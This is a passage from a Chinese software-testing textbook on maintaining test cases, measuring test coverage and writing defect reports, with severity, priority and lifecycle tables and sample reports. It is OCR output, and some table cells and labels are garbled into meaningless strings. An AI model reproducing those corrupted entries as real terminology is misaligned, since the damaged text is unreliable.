(2) 电子 表格 : 一 种 流行 而 高 效 的 方法 是 使 用 电子 表格 来 跟踪 和 记录 测试 的 过 程 ,如 
图 14-6 所 示 ,通过 表格 列 出 测试 用 例 的 跟踪 细节 ,可 以 直观 地 看 到 测试 的 结果 ,包括 关联 的 
缺陷 ,然后 利用 电子 表格 的 功能 比较 容易 进行 汇总 、 统 计 分 析 ,为 测试 管理 和 软件 质量 评估 
提供 更 有 价值 的 数据 。 
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图 14-6 跟踪 和 记录 测试 的 过 程 


(3) 数据 库 是 最 理想 的 一 种 方式 ,通过 基于 数据 库 的 测试 用 例 管理 系统 ,非常 容易 跟踪 
测试 用 例 的 执行 和 计算 覆盖 率 。 测试 人 员 通 过 浏览 器 将 测试 的 结果 提交 到 系统 中 ,并 通过 
自己 编写 的 工具 生成 报表 、 分 析 图 等 ,更 有 效 地 管理 和 跟踪 整个 的 测试 过 程 。 


14.2.4 维护 测试 用 例 


测试 用 例 不 是 一 成 不 变 的 , 当 一 个 阶段 测试 过 程 结 束 后 ,或 多 或 少 会 发 现 一 些 测 试用 例 
编写 得 不 够 合理 ,需要 完善 。 而 当 同 一 个 产品 新 版 本 测试 中 要 尽量 使 用 已 有 的 测试 用 例 , 但 
某 些 原 有 功能 已 发 生 了 变化 ,这 时 也 需要 去 修改 那些 受 功 能 变化 影响 的 测试 用 例 , 使 之 具有 
良好 的 延续 性 。 所 以 ,测试 用 例 的 维护 工作 是 不 可 缺少 的 。 测 试用 例 的 更 新 ,可 能 出 于 不 同 
的 原因 。 由 于 原因 不 同 ,其 优先 级 ,修改 时 间 也 会 有 所 不 同 , 详 见 表 14-5。 


表 14-5 测试 用 例 维护 情况 一 览 表 
E 因 更 新 时 间 优 先 级 


先前 的 测试 用 例 设计 不 全 面 或 者 不 够 准确 , 随 着 
测试 过 程 的 深入 和 对 产品 功能 特性 的 更 好 理解 ， 测试 过 程 中 高 ,需要 及 时 更 新 
发 现 测试 用 例 存 在 一 些 逻 辑 错误 ,需要 纠正 


所 发 现 的 .严重 的 软件 缺陷 没有 被 目前 的 测试 用 


I BEE 测试 过 程 中 高 ,需要 及 时 更 新 

新 的 版 本 中 添加 新 功能 或 者 原 有 功能 的 增强 ,要 OEE i i 

求 测试 用 例 做 相应 改动 测试 过 程 前 高 ,需要 在 测试 执行 前 更 新 
测试 用 例 不 规范 或 者 描述 语句 错误 测试 过 程 中 中 ,尽快 修复 ,以 免 引 起 误解 
旧 的 测试 用 例 已 经 不 再 使 用 ,需要 删除 测试 过 程 后 中 ,尽快 修复 ,以 提高 测试 效率 


维护 测试 用 例 的 过 程 是 实时 的 长 期 的 ,和 编写 测试 用 例 不 同 ,维护 测试 用 例 一 般 不 涉 
及 测试 结构 的 大 改动 ,例如 在 某 个 模块 里 面 ,如 果 先 前 的 测试 用 例 已 经 不 能 覆盖 目前 的 测试 
内 容 , 可 能 需要 重新 定义 一 个 独立 的 测试 模块 单元 来 重新 组 织 新 的 测试 用 例 。 但 在 系统 功 
能 进行 重 构 时 ,测试 用 例 也 会 随 之 重 构 。 测 试用 例 的 维护 流程 ,如 图 14-7 所 示 。 
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QA 项 目 组 长 


实施 修改 并 
形成 更 新 的 
测试 用 例 


图 14-7 测试 用 例 的 维护 基本 流程 图 


D 任何 人 员 ( 包 括 开发 人 员 .产品 设计 人 员 等) 发 现 测试 用 例 有 错误 或 者 不 合理 ,向 编 
写 者 提出 测试 用 例 修 改建 议 ,并 提供 足够 的 理由 。 

(2) 测试 用 例 编写 者 (修改 者 ) 根 据 测 试用 例 的 关联 性 和 修改 意见 ,对 特定 的 测试 用 例 
进行 修改 。 

O 向 开发 .项 目 组 长 (经 理 ) 递 交 修改 后 的 测试 用 例 。 

(4) 项 目 组 长 .开发 人 员 以 及 测试 用 例 编写 者 进行 复核 后 提出 意见 ,通过 后 ,由 测试 用 


例 编写 者 进行 最 后 的 修改 ,并 提供 修改 后 的 文档 和 修改 日 志 。 
14.2.5 测试 用 例 的 覆盖 率 

测试 用 例 的 覆盖 率 是 评估 测试 过 程 以 及 测试 计划 的 一 个 参考 依据 , 它 根据 测试 用 例 进 
行 测试 的 执行 结果 与 软件 实际 存在 的 问题 进行 比较 ,从 而 获得 测试 有 效 性 的 评估 结果 。 例 
如 ,确定 哪些 测试 用 例 是 在 发 现 缺陷 之 后 又 补充 进来 的 ,这 样 就 可 以 基本 给 出 测试 用 例 的 覆 
PER 


g 一 发 现 缺 陷 后 补充 的 测试 用 例 数 
li 总 的 测试 用 例 数 


如 果 想 更 科学 地 判断 测试 用 例 覆 盖 率 ,可 以 通过 测试 工具 来 监控 测试 用 例 执行 的 过 程 ， 
然后 根据 获得 的 代码 行 覆 盖 率 、 分 支 或 条 件 覆 盖 率 来 确定 测试 用 例 的 覆盖 率 。 

需要 对 低 覆 盖 率 的 测试 用 例 进行 数据 分 析 , 找 出 问题 的 根本 原因 ,从 而 更 有 针对 性 地 修 
改 测 试用 例 , 更 有 效 地 组 织 测试 过 程 。 例 如 ,通过 了 解 哪些 缺陷 没有 测试 用 例 覆 盖 , 可 以 针 
对 这 些 缺 陷 添加 相应 的 测试 用 例 , 这 样 就 可 以 提高 测试 用 例 的 质量 。 

当然 ,测试 用 例 的 覆盖 率 并 非 一 个 绝对 的 判定 因素 , 它 对 整个 测试 过 程 起 到 一 个 分 析 、 
参考 的 作用 ,应 该 知道 ,将 测试 用 例 的 覆盖 率 作为 检验 测试 过 程 和 代码 质量 的 依据 是 不 够 准 
确 的 或 充分 的 。 


小 结 


测试 用 例 的 设计 是 测试 过 程 中 一 个 很 重要 的 组 成 部 分 ,围绕 测试 用 例 而 形成 的 测试 过 
程 和 组 织 方法 是 一 个 比较 复杂 的 软件 过 程 ,测试 用例 的 设计 也 是 循序 渐进 的 过 程 , 随 着 测试 
过 程 的 进行 和 完善 而 逐渐 成 熟 起 来 的 。 

在 白 盒 测试 用 例 设计 方法 中 ,以 逻辑 覆盖 法 为 主 ,包括 语句 覆盖 、 判 定 覆 盖 、 条 件 覆 盖 、 
判定 -条 件 覆 盖 和 条 件 组 合 覆 盖 和 路 径 覆 盖 。 而 在 等 价 类 划分 法 .边界 值 分 析 法 、 错 误 推 测 
法 、 因 果 图 法 、 功 能 图 法 等 黑 盒 测 试用 例 设计 方法 中 ,常常 将 等 价 类 划分 法 和 边界 值 分 析 法 
组 合 起 来 使 用 。 

根据 测试 用 例 的 属性 ,分 阶段 ,分 模块 来 构造 测试 套件 ,更 好 地 组 织 和 执行 测试 用 例 。 
随 着 需求 的 变化 ,测试 用 例 要 做 相应 的 改动 ; 随 着 测试 的 深入 ,测试 人 员 对 产品 的 特性 有 更 
深 的 理解 ,会 发 现 更 多 的 缺陷 ,需要 不 断 完善 现 有 的 测试 用 例 。 也 就 是 说 ,在 整个 软件 开发 
周期 中 要 对 测试 用 例 进 行 有 效 的 跟踪 和 维护 。 


思考 题 


1. 阐述 测试 用 例 在 测试 过 程 中 所 起 的 作用 。 标 准 的 测试 用 例 有 哪儿 个 组 成 部 分 ? 测 
试用 例 一 般 采 用 哪些 方法 来 进行 组 织 ? 

2. 在 构造 测试 套件 中 , 哪 种 方法 是 最 常用 的 ? 

3. 如 何 有 效 地 维护 测试 用 例 ? 

4. 有 什么 工具 可 以 来 度量 测试 用 例 的 覆盖 率 ? 


CHAPTER 15 
第 15 章 


报告 所 发 现 的 缺陷 


我 们 了 解 软件 缺陷 是 什么 ,在 需求 和 设计 评审 过 程 中 会 发 现 问题 ， 
并 通过 设计 和 执行 测试 用 例 , 更 快 地 发 现 缺陷 。 发 现 了 缺陷 ,还 需 描述 
缺陷 产生 的 过 程 或 现象 ,报告 给 开发 人 员 ,这 就 是 软件 缺陷 的 报告 。 

如 何 报 告 所 发 现 的 软件 缺陷 ? 就 是 要 准确 、 清 楚 地 描述 内 容 , 这 
其 中 要 借助 一 些 工 具 ( 如 WinDbg、Soft-ICE) 来 创建 记录 软件 缺陷 的 
日 志文 件 。 为 了 更 有 效 地 报告 和 处 理 缺 陷 ,还 要 全 面 理解 缺陷 的 各 种 
属性 以 及 缺陷 的 生命 周期 ,并 掌握 分 离 和 再 现 软件 缺陷 的 技巧 ,而 对 
于 一 个 软件 企业 , 则 要 建立 基于 数据 库 的 软件 缺陷 跟踪 系统 。 


15.1 软件 缺陷 的 描述 


开发 人 员 修 正 缺 陷 的 阶段 差不多 占 整个 开发 过 程 的 一 半 时 间 ,而 
在 这 个 阶段 ,缺陷 成 了 开发 人 员 和 测试 人 员 之 间 的 工作 纽带 ,许多 工 
作 都 是 围绕 缺陷 展开 ,测试 人 员 发 现 缺陷 ,开发 人 员 修 正 缺 陷 , 然 后 测 
试 人 员 再 验证 缺陷 。 缺 陷 描 述 不 清楚 ,会 极 大 影响 团队 的 工作 效率 ， 
而 准确 有 效 地 定义 和 描述 软件 缺陷 ,可 以 带 来 不 少 好 处 ,例如 ， 

(1) 清晰 准确 的 软件 缺陷 描述 可 以 减少 软件 缺陷 从 开发 人 员 返 
回 的 数量 。 

(2) 提高 软件 缺陷 修复 的 速度 ,使 每 一 个 小 组 能 够 有 效 地 工作 。 

G) 提高 测试 人 员 的 信任 度 , 可 以 得 到 开发 人 员 对 清晰 的 软件 缺 
陷 描 述 有 效 的 响应 。 

(4) 加 强 开发 人 员 ,测试 人 员 和 管理 人 员 的 协同 工作 ,让 他 们 可 
以 更 好 地 工作 。 


15.1.1 软件 缺陷 的 生命 周期 


生命 周期 的 概念 是 一 个 物种 从 诞生 到 消亡 经 历 了 不 同 的 生命 阶 
段 ,那么 软件 缺陷 生命 周期 指 的 是 一 个 软件 缺陷 被 发 现 、 报 告 到 这 个 
缺陷 被 修复 、 验 证 直至 最 后 关闭 的 完整 过 程 。 在 整个 软件 缺陷 生命 周 
期 中 ,通常 是 以 改变 软件 缺陷 的 状态 来 体现 不 同 的 生命 阶段 。 因 此 ， 


对 于 一 个 软件 测试 人 员 来 讲 , 需 要 关注 软件 缺陷 在 生命 周期 中 的 状态 变化 ,来 跟踪 软件 质量 
和 项 目 进度 。 一 个 基本 的 软件 缺陷 生命 周期 包含 了 3 个 状态 :“ 新 打开 的 ”“ 已 修正 ”和 “已 
关闭 ”, 如 图 15-1 所 示 。 

(1) 发 现 ~ 打 开 : 测试 人 员 发 现 软件 缺陷 后 ,提交 该 缺陷 给 
开发 人 员 。 缺 陷 处 在 开始 状态 “新 打开 的 ”。 

D 打开 一 修复 : 开发 人 员 再 现 、 修 改 代码 并 进行 必要 的 单 
元 测试 ,完成 缺陷 的 修正 。 这 时 缺陷 处 于 * 已 修正 ?状态 。 

(3) 修复 一 关闭 : 测试 人 员 验 证 已 修正 的 缺陷 ,如 果 该 缺陷 
在 新 构建 的 软件 包 的 确 不 存在 ,测试 人 员 就 关闭 这 个 缺陷 。 这 
时 缺陷 处 于 “已 关闭 ”状态 。 

在 实际 工作 中 ,软件 缺陷 的 生命 周期 不 可 能 像 图 15-1 那么 
简单 ,需要 考虑 其 他 各 种 情况 ,图 15-2 给 出 了 一 个 常见 的 软件 
缺陷 生命 周期 的 例子 。 其 中 各 个 状态 的 说 明 , 见 表 15-1。 综 上 
所 述 ,软件 缺陷 在 生命 周期 中 经 历 了 数 次 的 审阅 和 状态 变化 ,最 终 测试 人 员 关 闭 软件 缺陷 来 
结束 软件 缺陷 的 生命 周期 。 软 件 缺 陷 生 命 周 期 中 的 不 同 阶段 是 测试 人 员 、 开 发 人 员 和 管理 
人 员 一 起 参与 ,协同 测试 的 过 程 。 软 件 缺陷 一 旦 发 现 , 便 进入 测试 人 员 、 开 发 人 员 ,管理 人 员 
的 严密 监控 之 中 ,直至 软件 缺陷 生命 周期 终结 ,这 样 既 可 保证 在 较 短 的 时 间 内 高 效率 地 关闭 
所 有 的 缺陷 ,缩短 软件 测试 的 进程 ,提高 软件 质量 ,同时 减少 开发 和 维护 成 本 。 


新 建 的 
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图 15-1 基本 的 软件 缺陷 
生命 周期 


不 能 再 现 
缺少 信息 


回归 的 Bug 
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图 15-2 常见 的 软件 缺陷 生命 周期 
表 15-1 软件 缺陷 状态 列表 
KERE 撒 述 
激活 或 打开 CActive or | 问题 还 没有 解决 ,存在 源 代码 中 ,确认 “提交 的 缺陷 *, 等 待 处 理 , 如 新 报 的 缺陷 


Open) 
已 修正 或 修复 (Fixed or | 已 被 开发 人 员 检 查 ,修复 过 的 缺陷 ,通过 单元 测试 ,认为 已 解决 但 还 没有 被 测 


Resolved) 试 人 员 验 证 


续 表 
缺陷 状态 描述 

Fl a los 

关闭 或 非 激活 《Close or | a ss wo ar MARERE EZERRE 

Inactive) 

重新 打开 测试 人 员 验 证 后 ,还 依然 存在 的 缺陷 ,等 待 开发 人 员 进一步 修复 

推迟 这 个 软件 缺陷 可 以 在 下 一 个 版 本 中 解决 

保留 由 于 技术 原因 或 第 三 者 软件 的 缺陷 ,开发 人 员 不 能 修复 的 缺陷 

不 能 重 现 开发 不 能 复 现 这 个 软件 缺陷 ,需要 测试 人 员 检 查 缺 陷 复 现 的 步 双 
eee a ETT TOE 

E PA REE 但 开发 人 员 需 要 一 些 信息 ,例如 缺陷 的 日 志文 
` if 


15.1.2 严重 性 和 优先 级 


软件 缺陷 对 用 户 使 用 的 影响 是 不 一 样 的 或 所 造成 的 后 果 是 不 同 的 。 有 些 缺 陷 的 影响 比 
较 小 ,如 界面 不 美观 .操作 不 够 灵活 等 ; 而 有 些 缺 陷 造 成 的 影响 很 大 ,例如 造成 用 户 数据 丢 
失 、 导 致 重大 经 济 损失 。 所 以 ,可 以 通过 设 定 严重 性 (severity) 的 级 别 来 衡量 软件 缺陷 对 客 
户 满 意 度 的 影响 程度 。 虽 然 软件 公司 对 缺陷 严重 性 级 别 的 定义 不 尽 相 同 ,但 大 同 小 异 ,一 般 
可 以 定义 为 4 种 级 别 : 

。 致命 的 (fatal) : 致命 的 错误 ,造成 系统 或 应 用 程序 崩溃 (crash)、 死 机 、 系 统 悬 挂 ,或 

造成 数据 丢失 ,主要 功能 完全 丧失 等 。 
。 FEH (Critical); 严重 错误 , 指 功能 或 特性 (feature) 没 有 实现 ,主要 功能 部 分 丧失 ， 
次 要 功能 完全 丧失 ,或 致命 的 错误 声明 。 

© 一 般 的 (major) : 不 太 严 重 的 错误 ,这 样 的 软件 缺陷 虽然 不 影响 系统 的 基本 使 用 ,但 
没有 很 好 地 实现 功能 ,没有 达到 预期 效果 。 如 次 要 功能 丧失 ,提示 信息 不 太 准 确 , 或 
用 户 界 面 差 ,操作 时 间 长 等 。 

。 微小 的 (minor) : 一 些小 问题 ,对 功能 几乎 没有 影响 ,产品 及 属性 仍 可 使 用 ,如 有 个 
别 错别字 ,文字 排列 不 整齐 等 。 

当然 ,这 种 严重 性 级 别 的 定义 是 相对 的 ,例如 错别字 出 现在 用 户 经 常 访问 的 地 方 ,如 站 
点 首页 .系统 主 界面 或 菜单 等 ,软件 缺陷 是 严重 的 。 除 了 上 述 4 个 级 别 之 外 ,还 可 以 设置 “ 建 
议 (suggestion)” 级 别 来 处 理 测试 人 员 提 出 对 产品 特性 改进 的 各 种 建议 或 质疑 ,如 建议 操作 
菜单 项 的 次 序 改进 ,按钮 位 置 的 改变 等 ,以 改善 系统 的 适用 性 ; 或 对 设计 不 合理 ,不 明白 的 
地 方 提 出 质疑 。 

由 于 软件 缺陷 的 严重 性 程度 不 一 样 ,所 以 不 是 每 个 软件 缺陷 都 需要 开发 人 员 修 复 。 即 
使 对 严重 性 级 别 相 同 的 缺陷 ,开发 人 员 也 不 能 一 视 同 仁 , 需 要 区 别 对 待 。 例 如 某 个 缺陷 使 测 
试 人 员 的 工作 不 能 继续 下 去 ,需要 立即 修正 ,而 另外 一 个 缺陷 非常 难 ,不 急于 修正 。 这 就 是 
说 开发 人 员 修 复 缺陷 有 先后 次 序 , 越 急于 修正 的 缺陷 ,其 优先 级 越 高 ,而 不 急于 修正 的 缺陷 ， 
其 优先 级 就 比较 低 。 所 以 缺陷 具有 优先 级 属性 一 一 被 修复 的 紧急 程度 , “优先 级 ”的 衡量 抓 
住 了 在 严重 性 中 没有 考虑 的 重要 程度 因素 ,如 表 15-2 所 示 。 

一 般 来 讲 , 缺 陷 严 重 等 级 和 缺陷 优先 级 相关 性 很 强 ,但 是 ,具有 低 优先 级 和 高 严重 性 的 
错误 是 可 能 的 ,反之 亦 然 。 例 如 ,产品 徽标 是 重要 的 ,一 旦 它 丢 失 了 ,这 种 缺陷 是 用 户 界面 的 
产品 缺陷 ,但 是 它 阻 碍 产品 的 形象 。 那么 它 是 优先 级 很 高 的 软件 缺陷 。 


表 15-2 软件 缺陷 优先 级 列表 


缺陷 优先 级 描 R 
立即 解决 (Pl 级 ) 缺陷 导致 系统 几乎 不 能 使 用 或 测试 不 能 继续 , 需 立即 修复 
高 优先 级 (P2 级 ) 缺陷 严重 ,影响 测试 ,需要 优先 考虑 
正常 排队 (P3 级 ) 缺陷 需要 正常 排队 等 待 修复 
低 优先 级 (P4 级 ) 缺陷 可 以 在 开发 人 员 有 时 间 的 时 候 被 纠正 


15.1.3 缺陷 的 其 他 属性 


对 于 测试 人 员 ,利用 软件 缺陷 属性 可 以 跟踪 软件 缺陷 ,保证 产品 的 质量 。 软 件 缺陷 需要 
其 他 一 些 属性 ,包括 缺陷 标识 (ID) 、 缺 陷 类 型 (type)、 缺 陷 产 生 可 能 性 (frequency)、 缺 陷 来 
Wi (source) ,缺陷 原因 (root cause) 等 。 

(1) 标识 : 是 标记 某 个 缺陷 的 唯一 的 表示 ,可 以 使 用 数字 序号 表示 。 

(2) 类 型 : 是 根据 缺陷 的 自然 属性 划分 的 缺陷 种 类 ,如 表 15-3 所 示 。 

表 15-3 软件 缺陷 类 型 列表 


缺陷 类 型 描述 
功能 影响 了 各 种 系统 功能 .逻辑 的 缺陷 
用 户 界面 影响 了 用 户 界面 、 人 机 交互 特性 ,包括 屏幕 格式 、 用 户 输入 灵活 性 、 结 果 输 出 格式 
等 方面 的 缺陷 
文档 影响 发 布 和 维护 ,包括 注释 、 用 户 手册 ,设计 文档 
软件 包 由 软件 配置 库 、 变 更 管理 或 版 本 控制 引起 的 错误 
性 能 不 满足 系统 可 测量 的 属性 值 , 如 执行 时 间 ,事务 处 理 速率 等 
系统 /模块 接口 | 与 其 他 组 件 、 模 块 或 设备 驱动 程序 .调用 参数 、 控 制 块 或 参数 列表 等 不 上 匹配、 冲突 


(3) 可 能 性 : 指 缺陷 在 产品 中 发 生 的 可 能 性 ,通常 可 以 用 频率 来 表示 ,如 表 15-4 所 示 。 
表 15-4 软件 缺陷 产生 可 能 性 列表 


缺陷 产生 可 能 性 fi GB 
总 是 (always) 总 是 产生 这 个 软件 缺陷 ,其 产生 的 频率 是 100% 
通常 (often) 按照 测试 用 例 , 通 常情 况 下 会 产生 这 个 软件 缺陷 ,其 产生 的 频率 大 概 是 80% ~ 90% 
有 时 Coccasionally) | 按照 测试 用 例 , 有 的 时 候 产生 这 个 软件 缺陷 ,其 产生 的 频率 大 概 是 30% ~50% 
很 少 (rarely) 按照 测试 用 例 ,很 少 产生 这 个 软件 缺陷 ,其 产生 的 频率 大 概 是 1% ~5 % 


(4) 来 源 : 指 缺陷 所 在 的 地 方 ,如 文档 、 代 码 等 ,如 表 15-5 所 示 。 
表 15-5 软件 缺陷 来 源 列表 


缺陷 来 源 fi È 
需求 说 明 书 需求 说 明 书 的 错误 或 不 清楚 引起 的 问题 
设计 文档 设计 文档 描述 不 准确 和 需求 说 明 书 不 一 致 的 问题 
系统 集成 接口 系统 各 模块 参数 不 匹配 、 开 发 组 之 间 缺 乏 协调 引起 的 缺陷 
数据 流 ( 库 ) 由 于 数据 字典 ,数据库 中 的 错误 引起 的 缺陷 
程序 代码 纯粹 在 编码 中 的 问题 所 引起 的 缺陷 


O 根源 : 指 造成 上 述 错误 的 根本 因素 ,以 寻求 软件 开发 流程 的 改进 、 管 理 水 平 的 提 
高 ,如 表 15-6 所 示 。 


表 15-6 软件 缺陷 根源 列表 


缺陷 根源 描述 

测试 策略 错误 的 测试 范围 .误解 了 测试 目标 ,超越 测试 能 力 等 
无 效 的 需求 收集 过 程 ,过 时 的 风险 管理 过 程 ,不 适用 的 项 目 管理 方法 ,没有 估算 规 

过 程 \ 工 具 和 方法 | 程 ,无 效 的 变更 控制 过 程 等 

团队 /大 项 目 团队 职责 交叉 ,缺乏 培训 。 没 有 经 验 的 项 目 团 队 , 忽 乏 十 气 和 动机 不 纯 等 

缺乏 组 织 和 通信 ”| 起 乏 用 户 参与 ,职责 不 明确 ,管理 失败 等 

硬件 硬件 配置 不 对 .缺乏 ,或 处 理 器 饼 陪 导致 算 术 精 度 关 失 , 内 存 溢 汕 等 

ai 软件 设置 不 对 .缺乏 ,或 操作 系统 错误 导致 无 法 释放 资源 ,工具 软件 的 铺 误 ,编译 
器 的 错误 ,千年 虫 问题 等 

工作 环境 组 织 机 构 调整 .预算 改变 .工作 环境 恶劣 .如 品 吝 过 大 


15.1.4 完整 的 缺陷 信息 
任何 一 个 缺陷 跟踪 系统 的 核心 都 是 “软件 缺陷 报告 ”, 一 份 软件 缺陷 报告 详细 信息 如 


# 15-7 所 示 。 
表 15-7 软件 缺陷 信息 列表 
分 类 项 目 描 述 
可 跟踪 信息 缺陷 ID 唯一 的 .自动 产生 的 缺陷 ID, 用 于 识别 .跟踪 ,查询 
缺陷 状态 可 分 为 “打开 或 激活 的 "“ 已 修正 “关闭 ”等 
缺陷 标题 描述 缺陷 的 最 主要 信息 
缺陷 的 严重 程度 “| 一 般 分 为 “致命 " “严重 "“ 一 般 "“ 较 小 "4 种 程度 
描述 处 理 缺 陷 的 紧急 程度 ,1 是 优先 级 最 高 的 等 级 ,2 是 正常 
siautiti 的 ,3 是 优先 级 最 低 的 
缺陷 的 产生 频率 | 描述 缺陷 发 生 的 可 能 性 1% ~ 100% 
缺陷 提交 人 的 名 字 ( 会 和 上 邮件 地 址 联系 起 来 ) ,一 般 就 是 发 现 
MEREN 缺陷 的 测试 人 员 或 其 他 人 员 
缺陷 提交 时 间 缺陷 提交 的 时 间 
人 ii MARE 缺陷 所 属 的 项 目 和 模块 ,最 好 能 较 精确 地 定位 至 模块 
估计 修复 这 个 缺陷 的 开发 人 员 , 在 缺陷 状态 下 由 开发 组 长 指 
缺陷 指定 解决 人 | 定 相关 的 开发 人 员 ; 也 会 自动 和 该 开发 人 员 的 邮件 地 址 联系 
起 来 ,并 自动 发 出 邮件 
缺陷 指定 解决 时 间 | 开发 管理 员 指定 的 开发 人 员 修改 此 缺陷 的 时 间 
i RE 的 测试 人 员 ; 也 会 A 
缺陷 验证 人 验证 缺陷 是 否 真正 被 修复 的 测试 人 员 ; 也 会 和 邮件 地 址 联系 
起 来 
缺陷 验证 结果 描述 | 对 验证 结果 的 描述 (通过 不 通过 ) 


缺陷 验证 时 间 


对 缺陷 验证 的 时 间 


分 类 项 目 E 述 
步骤 对 缺陷 的 操作 过 程 ,按照 步骤 ,一 步 一步 地 描述 

awe n i 按照 设计 规格 说 明 书 或 用 户 需求 ,在 上 述 步骤 之 后 ,所 期 望 的 
缺陷 的 详细 描述 | 期 望 的 结果 结果 , 即 正 确 的 结果 
实际 发 生 的 结果 | 程序 或 系统 实际 发 生 的 结果 , 即 错误 的 结果 
对 测试 环境 描述 ,包括 操作 系统 .浏览 器 .网 络 带宽 .通信 协 
议 等 
对 于 某 些 文字 很 难 表达 清楚 的 缺陷 ,使 用 图 片 等 附件 是 必要 
必要 的 附件 图 片 Log 文 件 的 ; 对 于 软件 崩溃 现象 ,需要 使 用 Soft_ICE 工具 去 捕捉 日 志 
文件 作为 附件 提供 给 开发 人 员 


测试 环境 说 明 测试 环境 


软件 缺陷 的 详细 描述 ,如 上 所 述 , 由 三 部 分 组 成 : 操作 / 重 现 步骤 、 期 望 结果 ,实际 结果 ， 
有 必要 再 做 进一步 的 讨论 : 

(1) 步骤 ,提供 了 如 何 重 复 当 前 缺陷 的 准确 描述 ,应 简明 而 完备 、 清 楚 而 准确 。 这 些 信 
息 对 开发 人 员 是 关键 的 , 视 为 修复 缺陷 的 向 导 , 开 发 人 员 有 时 抱怨 糟糕 的 缺陷 报告 ,往往 集 
中 在 这 里 。 

(2)“ 期 望 结 果 ”, 与 测试 用 例 标准 ,或 设计 规格 说 明 书 ,或 用 户 需 求 等 一 致 ,达到 软件 预 
期 的 功能 。 测 试 人 员 站 在 用 户 的 角度 要 对 它 进 行 描述 , 它 提供 了 验证 缺陷 的 依据 。 

(3)“ 实 际 结果 ”, 测 试 人 员 收 集 的 结果 和 信息 ,以 确认 缺陷 确实 是 一 个 问题 ,并 标识 那 
些 影响 到 缺陷 表现 的 要 素 。 


15.1.5 缺陷 描述 的 基本 要 求 


软件 缺陷 的 描述 是 软件 缺陷 报告 中 测试 人 员 对 问题 的 陈述 的 一 部 分 并 且 是 软件 缺陷 报 
告 的 基础 部 分 。 同 时 ,软件 缺陷 的 描述 也 是 测试 人 员 就 一 个 软件 问题 与 开发 小 组 交流 的 主 
要 渠道 ,特别 是 对 跨 地 区 的 软件 开发 团队 。 一 个 好 的 描述 ,需要 使 用 简单 的 、 准 确 的 ,专业 的 
语言 来 抓 住 缺陷 的 本 质 。 和 否则 , 它 就 会 使 信息 含糊 不 清 , 可 能 会 误导 开发 人 员 。 以 下 是 有 效 
描述 软件 缺陷 的 规则 : 

a) 单一 准确 。 每 个 报告 只 针对 一 个 软件 缺陷 。 在 一 个 报告 中 报告 多 个 软件 缺陷 的 次 
端 是 常常 会 导致 只 有 其 中 一 个 软件 缺陷 得 到 注意 和 修复 。 

(2) 可 以 再 现 。 提 供 这 个 缺陷 的 精确 通用 步骤 ,使 开发 人 员 容 易 看 懂 , 可 以 再 现 并 修复 
缺陷 。 

(3) 完整 统一 。 提 供 完 整 . 前 后 统一 的 再 现 软件 缺陷 的 步骤 和 信息 ,包括 图 片 信息 、 
Log/Trace 文件 等 。 

(4) 短小 简练 。 通 过 使 用 关键 词 , 可 以 使 缺陷 标题 的 描述 短小 简练 ,又 能 准确 解释 产生 
缺陷 的 现象 。 如 “主页 的 导航 栏 在 低 分 辨 率 下 显示 不 整齐 ”中 “主页 ” “导航 栏 ”“ 分 辩 率 ”等 
都 是 关键 词 。 

(5) 特定 条 件 。 许 多 软件 功能 在 通常 情况 下 没有 问题 ,而 是 在 某 种 特定 条 件 下 会 存在 
缺陷 ,所 以 软件 缺陷 描述 不 要 忽视 这 些 看 似 细节 的 但 又 必要 的 特定 条 件 ( 如 特定 的 操作 系 
统 ,浏览 器 或 某 种 设置 等 ) ,能 够 提供 帮助 开发 人 员 找 到 原因 的 线索 。 如 “搜索 功能 在 没有 找 


到 结果 返回 时 跳 转 页 面 不 对 ”。 

(6) 补充 完善 。 从 发 现 Bug 那 一 刻 起 ,测试 人 员 的 责任 就 是 保证 它 被 正确 地 报告 ,并且 
得 到 应 有 的 重视 ,继续 监视 其 修复 的 全 过 程 。 

(7) 不 做 评价 。 在 软件 缺陷 描述 中 不 要 带 有 个 人 观点 ,不 要 对 开发 人 员 进行 评价 。 软 
件 缺 陷 报告 是 针对 产品 的 。 


15.1.6 缺陷 报告 的 示例 


一 份 优秀 的 缺陷 报告 记录 下 最 少 的 重 现 步骤 ,不 仅 包 括 了 期 望 结 果 、 实 际 结果 和 必要 的 
数据 ` 附 件 、 测 试 环境 或 条 件 ,还 包括 了 简单 的 分 析 。 下 面 是 一 个 优秀 的 缺陷 报告 记录 。 


(1) 重 现 步骤 ， 

a 打开 一 个 编辑 文字 的 软件 并 且 创建 一 个 新 的 文档 (这 个 文件 可 以 录入 文字 ) 。 

b. 在 这 个 文件 里 随意 录入 一 两 行文 字 。 

c. 选中 一 两 行文 字 , 通 过 选择 Font 菜单 然后 选择 Arial 字体 格式 。 

d. 一 两 行文 字 变 成 了 无 意义 的 乱 字符 。 

(2) MBAR: 当 用 户 选择 已 录入 的 文字 并 改变 文字 格式 的 时 候 , 文 本 应 该 显示 正 
确 的 文字 格式 不 会 出 现 乱 字符 显示 。 

(3) 实际 结果 : 它 是 字体 格式 的 问题 ,如 果 改 变 文字 格式 成 Arial 之 前 ,你 保存 文件 ， 
缺陷 不 会 出 现 。 缺 陷 仅仅 发 生 在 Windows 98 中 ,如 果 将 文字 格式 改 成 其 他 的 字体 格式 ， 
则 文字 是 显示 正常 的 。 

见 所 附 的 图 片 (有 一 个 链接 ,点 击 即 可 看 到 》 


而 一 份 含糊 而 不 完整 的 缺陷 报告 ,缺少 重 现 步骤 ,并 且 没 有 期 望 结果 、 实 际 结果 和 必要 
的 图 片 ,如 下 描述 。 


EMPR: 
。 打开 一 个 编辑 文字 的 软件 。 
“录入 一 些 文字 。 
。 选择 Arial 字体 格式 。 
。 文字 变 成 了 乱 字符 。 
MAAR: 
实际 结果 : 


一 份 散漫 的 缺陷 报告 (无 关 的 重 现 步骤 ,以 及 对 开发 人 员 理解 这 个 错误 毫 无 帮助 的 结果 
信息 ) 如 下 描述 : 
EMER: 
* £ Windows 98 上 打开 一 个 编辑 文字 的 软件 并 且 编 辑 存 在 文件 。 
"文件 字体 显示 正常 。 
。 我 添加 了 图 片 ,这 些 图 片 显示 正常 。 
。 在 此 之 后 ,我 创建 了 一 个 新 的 文档 。 


。 在 这 个 文档 中 我 随意 录入 了 大 量 的 文字 。 
。 在 我 录入 这 些 文字 之 后 ,选择 几 行 文字 ,并 且 通 过 选择 Font 菜单 然后 选择 Arial 
字体 格式 改变 文字 的 字体 。 

。 有 三 次 我 重 现 了 这 个 缺陷 。 

。 我 在 Solaris 操作 系统 运行 这 些 步骤 ,没有 任何 问题 。 

。 RE Mac 操作 系统 运行 这 些 步骤 ,没有 任何 问题 。 
